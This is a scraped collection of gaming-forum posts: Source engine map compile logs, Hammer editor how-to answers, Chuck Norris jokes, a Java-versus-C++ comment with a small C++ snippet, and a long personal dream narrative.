0...1...2...3...4...5...6...7...8...9...100...1...2...3...4...5...6...7...8...9...10transfers 2336515, max 632
transfer lists: 17.8 megs
0...1...2...3...4...5...6...7...8...9...10 Bounce #1 added RGB(48262, 46997, 41299)
0...1...2...3...4...5...6...7...8...9...10 Bounce #2 added RGB(19230, 18546, 16616)
0...1...2...3...4...5...6...7...8...9...10 Bounce #3 added RGB(8635, 8219, 7105)
0...1...2...3...4...5...6...7...8...9...10 Bounce #4 added RGB(3770, 3537, 2926)
0...1...2...3...4...5...6...7...8...9...10 Bounce #5 added RGB(1625, 1504, 1190)
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0...1...2...3...4...5...6...7...8...9...10 Bounce #7 added RGB(291, 263, 190)
0...1...2...3...4...5...6...7...8...9...10 Bounce #8 added RGB(122, 109, 75)
0...1...2...3...4...5...6...7...8...9...10 Bounce #9 added RGB(51, 45, 30)
0...1...2...3...4...5...6...7...8...9...10 Bounce #10 added RGB(21, 18, 12)
0...1...2...3...4...5...6...7...8...9...10 Bounce #11 added RGB(9, 8, 5)
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0...1...2...3...4...5...6...7...8...9...10 Bounce #13 added RGB(2, 1, 1)
0...1...2...3...4...5...6...7...8...9...10 Bounce #14 added RGB(1, 1, 0)
Build Patch/Sample Hash Table(s).....Done<0.0214 sec>
0...1...2...3...4...5...6...7...8...9...10FinalLightFace Done
0 of 0 (0% of) surface lights went in leaf ambient cubes.
ComputePerLeafAmbientLighting: 0...1...2...3...4...5...6...7...8...9...10
Ready to Finish

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 31/1024 1488/49152 ( 3.0%)
brushes 314/8192 3768/98304 ( 3.8%)
brushsides 2297/65536 18376/524288 ( 3.5%)
planes 2608/65536 52160/1310720 ( 4.0%)
vertexes 4208/65536 50496/786432 ( 6.4%)
nodes 1206/65536 38592/2097152 ( 1.8%)
texinfos 213/12288 15336/884736 ( 1.7%)
texdata 39/2048 1248/65536 ( 1.9%)
dispinfos 0/0 0/0 ( 0.0%)
disp_verts 0/0 0/0 ( 0.0%)
disp_tris 0/0 0/0 ( 0.0%)
disp_lmsamples 0/0 0/0 ( 0.0%)
faces 2102/65536 117712/3670016 ( 3.2%)
hdr faces 0/65536 0/3670016 ( 0.0%)
origfaces 1249/65536 69944/3670016 ( 1.9%)
leaves 1238/65536 39616/2097152 ( 1.9%)
leaffaces 3370/65536 6740/131072 ( 5.1%)
leafbrushes 1254/65536 2508/131072 ( 1.9%)
areas 4/256 32/2048 ( 1.6%)
surfedges 15276/512000 61104/2048000 ( 3.0%)
edges 8840/256000 35360/1024000 ( 3.5%)
LDR worldlights 8/8192 704/720896 ( 0.1%)
HDR worldlights 0/8192 0/720896 ( 0.0%)
waterstrips 269/32768 2690/327680 ( 0.8%)
waterverts 0/65536 0/786432 ( 0.0%)
waterindices 4608/65536 9216/131072 ( 7.0%)
cubemapsamples 0/1024 0/16384 ( 0.0%)
overlays 37/512 13024/180224 ( 7.2%)
LDR lightdata [variable] 614892/0 ( 0.0%)
HDR lightdata [variable] 0/0 ( 0.0%)
visdata [variable] 51195/16777216 ( 0.3%)
entdata [variable] 17888/393216 ( 4.5%)
LDR leaf ambient 1238/65536 29712/1572864 ( 1.9%)
HDR leaf ambient 0/65536 0/1572864 ( 0.0%)
occluders 0/0 0/0 ( 0.0%)
occluder polygons 0/0 0/0 ( 0.0%)
occluder vert ind 0/0 0/0 ( 0.0%)
detail props [variable] 1/12 ( 8.3%)
static props [variable] 1/12 ( 8.3%)
pakfile [variable] 22820/0 ( 0.0%)

Level flags = 0

Win32 Specific Data:
physics [variable] 125478/4194304 ( 3.0%)
==== Total Win32 BSP file data space used: 1402101 bytes ====

Total triangle count: 6125
Writing c:\documents and settings\alfred\desktop\surf_concrete.bsp
54 seconds elapsed



materialPath: c:\program files\steam\steamapps\teh_ice\counter-strike source\cstrike\materials
Loading C:\Documents and Settings\Alfred\Desktop\surf_concrete.vmf
fixing up env_cubemap materials on brush sides...
0...1...2...3...4...5...6...7...8...9...100...1...2...3...4...5...6...7...8...9...10Processing areas...done (0)
Building Faces...done (0)
Chop Details...done (0)
Find Visible Detail Sides...
Merged 288 detail faces...done (0)
Merging details...done (0)
FixTjuncs...
PruneNodes...
WriteBSP...
done (0)
writing C:\Documents and Settings\Alfred\Desktop\surf_concrete.prt...done (0)
Creating default cubemaps for env_cubemap using skybox materials:
skybox/sky_day01_01*.vmt
Run buildcubemaps in the engine to get the correct cube maps.

No such variable "$hdrbasetexture" for material "skybox/sky_day01_01rt"
Can't load skybox file skybox/sky_day01_01 to build the default cubemap!
Finding displacement neighbors...
Finding lightmap sample positions...
Displacement Alpha : 0...1...2...3...4...5...6...7...8...9...10
Building Physics collision data...
done (0) (126990 bytes)
Placing detail props : 0...1...2...3...4...5...6...7...8...9...10
Water found with no water_lod_control entity, creating a default one.
Compacting texture/material tables...
Reduced 250 texinfos to 213
Reduced 47 texdatas to 38 (1358 bytes to 905)
Writing C:\Documents and Settings\Alfred\Desktop\surf_concrete.bsp
2 seconds elapsed



1 threads
reading c:\documents and settings\alfred\desktop\surf_concrete.bsp
reading c:\documents and settings\alfred\desktop\surf_concrete.prt
658 portalclusters
2172 numportals
0...1...2...3...4...5...6...7...8...9...10WARNING: Cluster portals saw into cluster
Optimized: 2623 visible clusters (0.00%)
Total clusters visible: 241218
Average clusters visible: 366
Building PAS...
Average clusters audible: 388
visdatasize:78881 compressed from 115808
writing c:\documents and settings\alfred\desktop\surf_concrete.bsp
2 seconds elapsed



[Reading texlights from 'lights.rad']
[1 texlights parsed from 'lights.rad']

Loading c:\documents and settings\alfred\desktop\surf_concrete.bsp
2276 faces
4 degenerate faces
625031 square feet [90004528.00 square inches]
0 displacements
0 square feet [0.00 square inches]
2272 patches before subdivision
22594 patches after subdivision
8 direct lights
0...1...2...3...4...5...6...7...8...9...100...1...2...3...4...5...6...7...8...9...10transfers 2329549, max 616
transfer lists: 17.8 megs
0...1...2...3...4...5...6...7...8...9...10 Bounce #1 added RGB(46591, 45392, 39663)
0...1...2...3...4...5...6...7...8...9...10 Bounce #2 added RGB(18581, 17923, 16022)
0...1...2...3...4...5...6...7...8...9...10 Bounce #3 added RGB(8384, 7978, 6889)
0...1...2...3...4...5...6...7...8...9...10 Bounce #4 added RGB(3679, 3450, 2852)
0...1...2...3...4...5...6...7...8...9...10 Bounce #5 added RGB(1593, 1473, 1165)
0...1...2...3...4...5...6...7...8...9...10 Bounce #6 added RGB(680, 620, 469)
0...1...2...3...4...5...6...7...8...9...10 Bounce #7 added RGB(288, 259, 187)
0...1...2...3...4...5...6...7...8...9...10 Bounce #8 added RGB(121, 108, 74)
0...1...2...3...4...5...6...7...8...9...10 Bounce #9 added RGB(51, 45, 29)
0...1...2...3...4...5...6...7...8...9...10 Bounce #10 added RGB(21, 18, 12)
0...1...2...3...4...5...6...7...8...9...10 Bounce #11 added RGB(9, 8, 5)
0...1...2...3...4...5...6...7...8...9...10 Bounce #12 added RGB(4, 3, 2)
0...1...2...3...4...5...6...7...8...9...10 Bounce #13 added RGB(2, 1, 1)
0...1...2...3...4...5...6...7...8...9...10 Bounce #14 added RGB(1, 1, 0)
Build Patch/Sample Hash Table(s).....Done<0.0179 sec>
0...1...2...3...4...5...6...7...8...9...10FinalLightFace Done
0 of 0 (0% of) surface lights went in leaf ambient cubes.
ComputePerLeafAmbientLighting: 0...1...2...3...4...5...6...7...8...9...10
Ready to Finish

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 31/1024 1488/49152 ( 3.0%)
brushes 320/8192 3840/98304 ( 3.9%)
brushsides 2333/65536 18664/524288 ( 3.6%)
planes 2638/65536 52760/1310720 ( 4.0%)
vertexes 4588/65536 55056/786432 ( 7.0%)
nodes 1430/65536 45760/2097152 ( 2.2%)
texinfos 213/12288 15336/884736 ( 1.7%)
texdata 38/2048 1216/65536 ( 1.9%)
dispinfos 0/0 0/0 ( 0.0%)
disp_verts 0/0 0/0 ( 0.0%)
disp_tris 0/0 0/0 ( 0.0%)
disp_lmsamples 0/0 0/0 ( 0.0%)
faces 2276/65536 127456/3670016 ( 3.5%)
hdr faces 0/65536 0/3670016 ( 0.0%)
origfaces 1229/65536 68824/3670016 ( 1.9%)
leaves 1462/65536 46784/2097152 ( 2.2%)
leaffaces 3408/65536 6816/131072 ( 5.2%)
leafbrushes 1387/65536 2774/131072 ( 2.1%)
areas 5/256 40/2048 ( 2.0%)
surfedges 15935/512000 63740/2048000 ( 3.1%)
edges 9141/256000 36564/1024000 ( 3.6%)
LDR worldlights 8/8192 704/720896 ( 0.1%)
HDR worldlights 0/8192 0/720896 ( 0.0%)
waterstrips 267/32768 2670/327680 ( 0.8%)
waterverts 0/65536 0/786432 ( 0.0%)
waterindices 4506/65536 9012/131072 ( 6.9%)
cubemapsamples 0/1024 0/16384 ( 0.0%)
overlays 37/512 13024/180224 ( 7.2%)
LDR lightdata [variable] 592580/0 ( 0.0%)
HDR lightdata [variable] 0/0 ( 0.0%)
visdata [variable] 78881/16777216 ( 0.5%)
entdata [variable] 17888/393216 ( 4.5%)
LDR leaf ambient 1462/65536 35088/1572864 ( 2.2%)
HDR leaf ambient 0/65536 0/1572864 ( 0.0%)
occluders 0/0 0/0 ( 0.0%)
occluder polygons 0/0 0/0 ( 0.0%)
occluder vert ind 0/0 0/0 ( 0.0%)
detail props [variable] 1/12 ( 8.3%)
static props [variable] 1/12 ( 8.3%)
pakfile [variable] 22820/0 ( 0.0%)

Level flags = 0

Win32 Specific Data:
physics [variable] 126990/4194304 ( 3.0%)
==== Total Win32 BSP file data space used: 1446777 bytes ====

Total triangle count: 6516
Writing c:\documents and settings\alfred\desktop\surf_concrete.bsp
47 seconds elapsed


Oh and I used Both on vvis and vrad the fast 'mode'
brush = object , a rectangle , whatever
User
How can I program in CSS or maybe Javascript that some box or else pops up when touching a certain object (for a set period of time, not necessarily, though)? Like on addictinggames (touch the game icons). I particularly mean the fact that the box is like, above the rest of the site.

User
or maybe u made an invalid object and somtimes it wont compile
and ur .map will be messed up
Truck
Pe$T_C0nTr0L said:
yeah anther question about models

what exactly are they ?
how do i make them ?
how can they be put in maps ?
and can the be solid like brushes ?

if i can't make the prefab out of brushes then a model is my only hope, i hope


1. A 3D polygonal representation of an object.
2. In a 3D modeling program. You'll need one that can export models to Half-life's model format, I think Milkshape 3D can do this.
3. cycler_sprite or cycler.
4. No I don't think so, instead just cover the model with a brush textured with the {BLUE-texture, turn the brush into func_wall, in it settings set Render Mode to Solid and FX Amount to 255.
User
I tryed that and it still does not show the 3d view of my object.
Ok nvr mind my comments I was being stupid. I am right now making my object/map. I see the top, front, side things, which are labeled x,y so I assume that that stands for the two sides for that view point. (Exp. Top -> Bottom) So now I am going to create a rectangular shaped object. I already know how to navigate my object with the mouse. Now I am clicking "3D Texture". I am looking at my 3D textured object from the side and now, as before, it seems to have no need for a roof for it is already solid. What am I doing wrong?
The object on my screen has 8 sides... so what do I do to make that 6?
Never mind that last comment... Ok all I need is for someone to explain to me how to put 6 sides on my object... any takers?
Ok I know this is alot to ask but I just opened a new map up... plz guide me through what to do until I have succesfully roofed my object.
Whenever I get to the point when I click put 3d textures and my texture appears on my object, the object is solid and it differs from the one on step 5. It says to roof it but I have no idea how to or why because my object is solid. Plz Help me!
User
God created the world in seven days. Chuck Norris could have done it in six.

All the people of the world are brothers and sisters. Chuck Norris is everyone's Daddy.

When a tree falls in the woods and no one is around, Chuck Norris can hear it.

Walking up behind Chuck Norris is considered suicide in most countries.

When an unstoppable force hits an immovable object, it's just Chuck Norris clapping his hands.

Chuck Norris' shoes tie themselves, out of fear.

When Chuck Norris watches a pot, it boils faster.

When Chuck Norris flushes the toilet, the water spins in whatever direction he chooses.

When Chuck Norris flips a coin it never lands.

Chuck Norris can escape from a black hole, but they can't escape from him.

Chuck Norris takes candy from babies and doesn't feel bad about it.

Chuck Norris can be measured on the Richter scale.

Chuck Norris can defuse a bomb with a roundhouse kick.
User
I guess I oughta move these here. I made them up in chat!

Even when Chuck Norris was born he wouldn't cry, and the doctor who slapped him was sent to the morgue.

One time Chuck Norris decided he didn't want ice in his drink, that's the real story of how the Titanic sank.

The dinosaurs weren't wiped out by an asteroid. They were wiped out by Chuck Norris.

Chuck Norris' goldfish feeds HIM.

Chuck Norris doesn't have to take out the trash on Garbage Day. Chuck Norris is ALWAYS taking out the trash.

Chuck Norris doesn't need to learn a foreign language. When Chuck Norris speaks, everyone understands.

When Chuck Norris is put on trial, the entire jury is sentenced to death.

Chuck Norris doesn't buy jewelry, he crushes his enemies into diamonds.

Chuck Norris found WMDs in Iraq.

Chuck Norris never goes to the bathroom. Once he eats, the food can never get out.

When an unstoppable force hits an immovable object, Chuck Norris DECIDES what happens.

Chuck Norris wins at Solitaire every time.

When Chuck Norris plays Rock, Paper, Scissors, he picks Rock and wins every time.

Chuck Norris can do a 1080 on a Snowboard with only two feet of air.

A quad-core processor isn't fast enough for Chuck Norris.

Steve Irwin wrestles alligators. Chuck Norris wrestles whales.

747s aren't big enough for Chuck Norris.

Communism isn't possible. Everything belongs to Chuck Norris.
User
i need some radical design for architecture class
what i need is for you guys to give me a basic idea of the shape of an exposition building .
just any kind of shape or object to model a building after .

you can post anything form pictures , basic paint drawings , -> just explaining what shape you would think of.

i don't need anything complex or to well thought into , just a basic shape to start with

it can be any shape you want just post anything that you think would look cool
how can i make texture lights ? i want to make a more complex object that gives off light , and for that i would need to know how to make my textures give off light
User
A func_train is a brush-based entity that you can get to move around in some interesting ways. There are really two types of entities at work in each func_train, a func_train, and a path_corner. In this tutorial, you will see a couple uses for these entities that will hopefully enable you to do more things with your level. The concept of func_train is pretty simple, and being that simple, it's not a highly versatile entity. However, it is very easy to make and has more than a few uses.
Like I already said, we will be working with two types of entities, func_train, and path_corner. The func_train entity is the "train" itself, a brush-based entity. This can be one brush, or a group of brushes. This is the object that you will see moving in the game. The path_corner entities are very different, and as usual, I have an analogy to explain them.

When you do cross-country running or skiing, you will see flags tied to trees, or painted posts sticking out of the ground. These are marks that tell the runners what the path is that they should follow. It is assumed that a runner or a skier will follow along the track marked with these flags, and will not stray, because from each flag, he runs to the next one. Path_corner entities are like these flags, and the func_train is your runner. The func_train will always start at its first designated path_corner, and from there, it will move along the path established by the positioning of the consecutive path_corner entities. It will move from one path_corner to the next in a straight line, so with good positioning, you can form either curved or angular "tracks" for your func_train to follow. Let's see how this is done!

First of all, you need your func_train brush(es). What are they? Well that depends on what structure you want to move in your level. This can be a door, an elevator, a train, or just a moving platform. After you create this structure, click the toEntity button, and make the class func_train. Look, it has a name attribute! We all know what that means, it can be triggered! The next important attribute is First stop target. This is where we start getting into path_corner entities. You need to create at least one path_corner entity and give it a name. Then, put that name in the first stop target attribute field. This is where your train will not only start, but have a location in space. The first stop path_corner's center is where the func_train's center will be when you first start the level. This is very important to understand: the starting position of your func_train is not where it's located in your level at compile time, it'll be located where the first stop path_corner is. The attributes for the path_corner entities are very self explanatory, but not all of them apply to the func_train entity. For example, new train_rot speed does not apply in this case, you will learn more about this in upcoming func_tracktrain tutorials. If the wait for retrigger flag is checked, then the train will stop at that path_corner and wait until it's triggered again.
There are a few restrictions associated with func_trains. For example, as you can see in my example map, they cannot rotate or pivot. Also, you can't get a light to move along with your train, so if you plan on having your train move through some dark areas, I suggest you use texture-based lighting on the train brushes. Keep in mind that doing this will not make the train textures change shading as it moves along the track. Being an entity, your train will always have one shading. You can, however, control this static shading. The most common (and quite useful) method is creating a simple rectangular room someplace apart from your level. Then, create all of the func_train brushes in that room and set the entity properties. Then, put in some light entities or light-emanating textures to shade your train. The train brush will compile in this isolated room, but as I mentioned in the beginning, the train will materialize at its first path_corner entity. As a result, you will still have a train with static shading, but you will have some pretty flexible control over this lighting. Another restriction is that you can't have the player control the speed of the train like you have seen in the game. This can only be done with func_tracktrain entities, which will be covered soon.
on the right hand side tool bar where it says categories and then underneath objects i'll be making my map then when i go to get an object they wont be there, the whole list will be blank. its weird because i have the right link in the WAD and game data parts in options. so im pretty confused. HELP PLEASE




HHAHAAHAHAHAHAHAHAHAH NEVERMIND WOW IM DUMB
Truck
User
Easy Measy!

1. Create a brush that you want to make breakable, select it and press ctrl+T. A window should appear with a drop-down list of things you can turn this brush into; one of then "func_breakable"-- select that.
You can set many things in the func_breakable's properties. To open the properties, select your func_breakable, and hold alt+Enter.

2. Background for what?

3. Making water is just like making a breakable object, but instead of selecting "func_breakable", choose "func_water". Simple, eh?
Truck
Select it and press Ctrl+M, make sure "Rotate" is selected then write eg 90 in the Z-box and press OK, then it will rotate the object 90 degrees along the z-axis.

If you don't need it to line up perfectly with the grid you can instead select it in one of the 2d-views, then press on it once more in the 2d-view and it will get white dots in the corners, just press and drag around these circles to rotate it.
Truck
an object in hammer i have a couch i need to rotate
Truck
In Hammer or an object that rotate in-game?
Truck
how can i rotate an object?
Truck
User
Realisticity - n.
1. The true elasticity value of an object.
2. A virtual city in any form of media intended to give the impression that it actually exists.
3. That thing Biggins said.
User
For semi-transperant textures:
1. Create a func_wall.
2. Apply the texture you want on the func_wall.
3. In the func_wall's properties (alt + Enter), set rendermode to TEXTURE, and FXAmount to 100. (Increase this value if your object is too transperant)
Truck
User
Like a 3D object rather than a 2D texture.
User
You'd think that they would support spheres as a primitive object; most modelling programs do... You know, as a centre point and radius.
Truck
User
oh about func_breakables, a thing i wish i knew about the 'strength' aspect is that its how many hp the object has. So dont change it from 1-2 expecting it to be stronger. Make it like 20-100 for a sturdy vent
User
Easy!
ctrl + T = Make selected object an entity.
ctrl + W = Make selected object a regular brush.
How to I delte an entity without deleting the whole object. I somehow manged to make my whole floor and other parts of it a door, so now my map goes up and down. I really don't want to delete the brushes this would be a huge pain. Thankyou for the help if you can.
User
AGAR engine:
* Agar-VG (vector graphics)
* Agar-RG (composited pixmap graphics)
* FreeSG (real-time 3D scene rendering and geometrical constraint solving)
* Agar-SC (linear algebra and scientific computing routines)
* Agar-MAP (traditional 2D game level functions)
* Agar-DEV (developer/debugging tools)

Axiom engine:is a fully object-oriented 3D graphics engine under development that is being implemented entirely in C# using the managed Microsoft .NET development platform.Its easy...

it allows developers to focus more on core functionality and logic, rather than dealing with the complexities of languages like C++.

The core of Axiom is a port of the very popular OGRE 3D engine, which was chosen based on its clean object-oriented design, powerful features, and flexibility.

Try one of those

I would choose Axiom first...
Truck
http://zhlt.info/special-textures.html

SKY-texture will act as a sky in-game, eg: http://www.cs-maps.org/wiki/index.php?title=SKIES

CLIP will create a invisible barrier that stops players.

ORIGIN is used in combination with moving/rotating-entities to often define the pivot/center of the object.
Truck
User
how do i fix this!

The face has a texture axis that is perpendicular to the face, probably caused by rotating an object with texture locking disabled. This could also indicate an invalid face caused by vertex manipulation.
Truck
User
Well, self-teaching is probably going a bit far. I'm just moderately interested; apparently we have to do some programming as part of the course I'm doing (physics). Unfortunately they say it will be Java. I say the hell with that I'll use a better object-oriented language! Incidentally one way to get a pretty good idea of C++ is PixelMachine. It's interesting code. But yeah, having done the basics of programming a couple of years ago and some coding in Haskell before Christmas I've been looking at how to do similar stuff in C++
brad1000 said:
RandomSHot said:
I need to make an object move from side to side.

wut the map name


wtf
User
To move an Object:

1) On the top right of your Hammer Screen Click the Icon that looks like a Mouse.

2) Select the object you wanna move

3) Hold your mouse down in the middle of the object and slide your mouse the way you want the object to move.
User
RandomSHot said:
I need to make an object move from side to side.

wut the map name
User
I need to make an object move from side to side.
User
The brush is the object you created. Not anything like a paintbrush. Your problem sounds like it would be solved by just a little trial and error clicking and dragging just to see what happens.

The worst thing that could happen is that you'd mess up a map with nothing in it.

Oh no.
Truck
User
Go on the taps like this

View/screen elements/object bar

i think thats what you mean
Truck
User
you know if you put a solid , textured wall behind your objects then they won't melt away like that ( any solid object that is in front of a sky will do that, so the solution is to have a wall ( with normal texture that will be about the same hight as your tallest objects , or at least as tall as the objects you want to see fully from any distance )

hope it was clear im kinda tired now so i mite not make sense
User
ok i found out what a complanar plane and a no normal was..but what does it mean by a complanar is when two faces are on the same plane? like with a regular square box arent two faces already on the same plane..? but neways i guess what my main question is, is how to i find what object has these errors?
User
1) Make you object, and then click to toEntity button (on the bottom right-hand side). Select func_breakable from the list. In the properties of that object, set rendermode to texture, and fx amount to 0-255 (0-invisible, 255-compltetly solid).

2) Don't use vertex tool; It's kinda complicated... The CLIP tool is a lot easier to use.

3) Make a thin (change grid size with [ and ] ) brush up against your wall, and make it a func_ladder (using the toEntity button).

4) Make your func_door and name it whatever. Now create a trigger_multiple and set target to whatever. Give the trigger_multiple aaatrigger texture.

5) Was answered before, in 2. I have no idea about path tool.

6) No. ZHLT copies you final .bsp file to your cstrike directory.

7) No.

8) armory_entity is a weapon on the ground you can pick up. A buy zone would be func_buyzone.
User
Wow. In about an hour, I managed to learn the basics of Java.

And I must say, its damned convenient compared to C, even C++ in some (rare) cases, but it still can't outmatch the latter. C++ pwns it by a longshot. The lack of pointers is a major discrepancy, along with the bytecode thing. The whole virtual machine crap is essentially emulation, but there's always the GNU Java Library for native compilation, so thats not really a concern. If you haven't heard of it, I suggest you try it out here

(Thank you Richard Stallerman. )

Another thing I don't really like is the whole concept of outright forcing you to use object oriented programming. While I can understand the whole reasoning behind it, and why they did it, it really irks me that they removed global functions. The really powerful thing about C++, and why I love it so much, is the extendability of it. You could essentially build your own api with typedef, #define, operator, class, and struct. Sure, you got your things like the '+' operating with a string and a variable returns a text readout of it, but I could do that with the C++ 'string' class by inheritance and the 'operator' keyword.


#include <string>
#include <cstring>

//warning: very crude, wrote for demonstration.
class better_string : private string
{
better_string operator+ (const int& vartoprint)
{
better_string tempstring;
char temp [255]; //yes I know this is unsafe
sprintf(temp,"%s%d",this->c_str,vartoprint);
tempstring.assign(temp);
return tempstring;
}
}


Hell, if I wanted to, I could probably code all the little convinces that you get in java, right into a C++ header file. I'll give java credit: its a good, streamlined, basic language; especially for learning your first C syntax-ish language, but you'll probably want to move to C/++/0x (when it comes out) later.

EDIT: Forgot link to GCJ: http://gcc.gnu.org/java/
Truck
User
THIS is how much I sometimes manage to frantically write down about a dream before I forget everything. SuperJer is officially blown out of the water. No, my dreams are not ALWAYS this coherent. There are a few "non-canon" things that I'm sure I forgot about that I dreamt while in the middle of this, but I didn't bother writing them. If you've got a big brain and play/watch a lot of semi-obscure games/anime you'll probably be able to tell where most things in this came from.

I honestly don't expect any of you to actually read all of this, I just wanted to blow superjer up.

I basically never edit my dream notes after I first draft them, there's a few weird sentence structure problems and a few grammar mistakes. Get over it.

----------------------------------------------------------------

I was on a beach running towards a walled city (about a mile away) with a mother and her two daughters while being chased by something called a Finisher. The Finisher was dusty white skeleton with a purple hooded cloak and a spear that could teleport. They are created by powerful mages and monsters to be sentient assassins, but do not disappear if their creator dies. This one had no master, and just liked to kill things as far as I could tell. I was still badly injured from a previous fight so I was hoping I could avoid combatting it, for whatever reason I'd decided to help that family get away from it too. The Finisher kept appearing behind us and disappearing and occasionally it would appear close enough to attack me (I was at the rear) and I'd have to block it. Eventually he appeared in front of me, and said,

"I'll spare the rest if the youngest is left behind."

This made me realize that he thought I was strong enough to be a threat to him. I said,

"I was never told that Finisher Coso was such a fool as to show his hand to an enemy."

He then responded,

"The youngest will die no matter the outcome."

This made me think this Finisher DID have a master... he really wanted her dead. He turned towards the family, who stupidly had not continued running during our dialogue... and before I could do anything teleported and impaled the little girl, killing her instantly. The older daughter and mother just froze in fear and shock. I lunged at the Finisher (I had no weapon, mind you, and had apparently been cut and stabbed at least a dozen times in the past day) and while _barely_ avoiding his spear grabbed his wrist... bone... and with a flash of light did something that apparently sealed his magical abilities. It left him unable to teleport or use the hand that wrist was attached to. He attempted to do an overhead swing with the spear at me one-handed, but I fairly easily grabbed it with two hands and wrenched it away from him, pulling him face first into the sand in the process. As he attempted to stand up I thrust it straight through his skull, smashing it to pieces and killing him.

Things were looking up... I had a weapon now, and a very strong one. The spear was fairly lightweight but made of some dark grey magical material that would bend slightly but not break under extreme circumstances. The point was sharp enough to thrust directly into rock and the shaft was approximately 6 and a half feet long.

The older daughter was still standing wide-eyed in shock but the mother had moved on to crying (and I mean like, loud, screaming horrible crying) and huddling over the youngest daughter's corpse. Lucky for her I had some seriously over-the-top magical powers. I told her there was still time and that I could still save her. I placed one hand on the deceased's forehead and one over her heart (it wasn't all gross or awkward, she was too young to have boobs), closed my eyes and suddenly my vision was filled with a very scary rotting demonic face.

I said, "Return this girl's soul, I will heal the body."

It looked almost amused and responded, "This girl died by a Finisher's spear. You can't save her."

Finally I said something that I might actually say in the waking world...

"That sounds like a challenge!"

It's expression became much more serious, and it said, "Have it your way, she will simply die again from the same wound."

What I did at this point hurt a LOT. I really can't express in words the sheer utter pain this caused me... I thought the parasite in the back was bad in a previous dream but this SERIOUSLY fucking HURT. I'm pretty sure what I did was dig into one of the wounds I already had, wrench out a chunk of bloody meat, and use it to magically replace the flesh that the Finisher's spear had destroyed. This part hurt considerably less than the next... using what I can only assume was my own blood and soul I used some form of magic that forced her soul back into what was no longer entirely her own body (that makes it harder to do) and broke past the curse a Finisher puts on their slain victims. I can only imagine the sensation felt like burning alive. When it was over, I passed the fuck out... if only for a moment.

When I awoke the mother was hugging her children a lot, and the children were complaining that it was awkward/embarrasing/that they were hungry. The younger sister's dark blue kimono-ish clothes didn't show blood very well, but my white dress shirt and bandages were now a solid bright red. If things were realistic I'd have been very dead at this point. At least I'm pretty sure that like usual I wasn't human in this dream... apparently I used as much magic as I could when I killed Finisher Coso and ressurected the girl, because I wasn't able to heal myself much. I saw a bunch of people in white hooded robes running towards us from the city and then passed out again.

I awoke in a poorly lit and fairly cramped room with wooden walls and a low slanted ceiling. At the other side of the room was a man I recognized as the General of the walled City's defense forces. I will be refering to him as General Souther to avoid confusion. He was completely bald and looked to be in his late forties. Other than being a little scruffy he had no facial hair. He looked a little bit like Bruce Willis, but not enough to make me think his likeness came from him. He was wearing a fairly standard suit of light plate armor. It had the whole harness thing going on, the front side of his legs had plate but the back just had mail. He had bracers but lacked upper arm protection. I had the feeling that we hadn't seen each other in a while but had known each other for a very long time. He wasn't wearing a helmet, probably because he was busy sorting through some paperwork on the desk he was sitting at. I was still badly injured, I'm not sure how long it had been since I got all sleepy, but it couldn't have been more than eight hours. I was able to stand, and did so quietly. I walked up behind General Souther and tapped him on the shoulder. He practically jumped out of his chair. He had a southern accent, hence the name.

"Dammit boy, I oughta put a bell on you!"

"Sorry, where is The Finisher's spear?"

"Equipment, end of the hall on the right... how the damn hell can you stand up with a hole the size of a fist ripped outta your stomach?!"

"I've had worse. It doesn't hurt."

That wasn't a lie, it didn't hurt at all.

"I swear, you Empire guys aren't human."

"How sweet of you to say."

"Get on outta here, you stink like a carcass."

"Uh... where's my shirt?"

"Burned it. Nobody wanted to clean it. The mages wouldn't even come near you. Afraid of your blood and all that nonesense."

"Well fuck... I was kinda hoping I'd wake up with all my parts intact."

At that, I went out into the hall, to the end of it, turned right... and the door was locked. I was too lazy to ask for somebody to open it so I just yanked the nob right outta the door... there were only two things in the room that weren't contained in large crates. The Finisher's spear and his hooded cloak. I took both... didn't want to scare any children with my gaping wounds. Also, I knew at this time as I did before that a Finisher's spear is extremely valuable and his cloak only marginally less so. Both are very magical... the spear for obvious reasons. The cloak was a little more subtle, it made the wearer immune to non-violent death and injury. As in, you don't age or get sick and things like poison and curses have no effect on you. I went up some stairs that were at the same end of the hall as the equipment room and out into the sunlight... The area looked like this:

!!! Forum can't handle my ascii, it was in a weird font !!!

I walked to the left as soon as I exited the building, went about 40-feet, and realized that my wounds were too serious and I couldn't walk anymore. There was a big rock next to the road that was almost completely flat on top so I crawled up on to it and laid down. It wasn't comfortable but I liked the fresh air. A man and his boy (probably about 12, dressed similarly to the little girl from before) walked past and the man looked like he was pretending I wasn't there. The kid was tugging on him and talking about me. I don't think they thought I could hear them...

"Can I talk to him?"

"No! Keep your distance, he's an Empire soldier."

"But he saved that kid! I bet he's nice!"

"Nobody from the Empire is nice. Let's go."

The kid proceeded to complain and they got too far away to hear... I'm not sure why everyone distrusted people from the Empire so much... I don't know much about this "Empire" except that I was from there and that I was a fairly high-ranking soldier. There were a few other obvious things like that the Empire was the most powerful force in the area, and that empire soldiers didn't often come to towns like this. By that I mean this town was on the fringes of the Empire and was mostly an autonomous city-state that defended itself, but was still ruled by the Empire. I think most of the people's distrust came from rumors they heard, because I don't think an Empire soldier had set foot in this city in many years. I had begun the process of healing myself, I felt I had regained enough MP or whatever to pull it off... when some more kids showed up... lots of chillin' in this here dream. Of the half-dozen or so chillins two of them were the sisters that I saved earlier. The other four were all boys about the same age as the last one. The younger sister looked to be 8 or 9 years old and the older one had to be 14 or 15. They all looked really happy, like they were getting away with something fun by talking to me without their parents around to haul them off. They were all whispering to each other stuff like "Wow, cool! A soldier!" and "Look at that wound! He's gotta be super-strong to live through that!" excitedly when the older sister decided to actually say something 'to' me.

"You got hurt helping my sister... can I help you get better?"

I don't know why I always have to be so... bad... in dreams... I decided to say:

"Does your mom have a husband?"

She looked a little confused... but answered anyway.

"Yeah, he said we shouldn't talk to you, but my mom said we could."

Too bad she was't single... but now I had a twisted justification... their mom was pretty hot by the way...

"Is he tough?"

She smiled and said, "No, mom bosses him around a lot, he's a wimp."

All the kids laughed at this one.

"Well tell her to come out here and give me a kiss and I'll feel a lot better."

The boys now had decided I was the coolest person ever. The older sister looked really embarrased and said, "I can't tell mom that!"

One of the boys immediately yelled out, "Empire soldiers rule! I'm gonna go say it for you!"

They all ran off and the older daughter was yelling, "No, don't!" and such.

After a few more minutes General Souther came out and talked to me. I guess he just had nothing better to do... I'm pretty sure that Finisher Coso was the worst thing that had come near this city in quite a while. This was a peaceful, although well defended town.

"What's the matter with you, boy? You get outta that bed to come lay on a rock?"

